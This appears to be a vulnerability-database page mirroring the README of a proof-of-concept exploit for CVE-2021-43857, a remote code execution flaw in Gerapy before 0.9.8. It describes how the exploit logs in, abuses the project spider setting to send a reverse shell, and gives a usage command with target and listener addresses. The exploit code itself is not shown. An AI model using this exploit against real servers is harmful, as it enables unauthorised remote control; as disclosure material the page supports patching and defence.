CVE-2021-43857 PoC — Gerapy may contain remote code execution vulnerability

Source

https://github.com/LongWayHomie/CVE-2021-43857

Associated Vulnerability

Title:Gerapy may contain remote code execution vulnerability (CVE-2021-43857)
Description:Gerapy is a distributed crawler management framework. Gerapy prior to version 0.9.8 is vulnerable to remote code execution, and this issue is patched in version 0.9.8.

Description

Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

Readme

# CVE-2021-43857
Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
CVE-2021-43857 is a vulnerability marked as Critical priority (CVSS 9.8) leading to remote code execution.</br>
This vulnerability works on all versions prior to 0.9.8.</br>
Tested only on 0.9.6. Needs correct credentials. </br>
Exploit works by logging in to application, then getting the list of created projects (it will fail if there's none), then use the project setting to run the vulnerable _spider_ mechanism by sending reverse shell payload.</br>
</br>

Usage example:
`python3 cve-2021-43857.py -t 172.17.0.2 -p 8000 -L 172.17.0.1 -P 4444`

![Screen](img.PNG)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!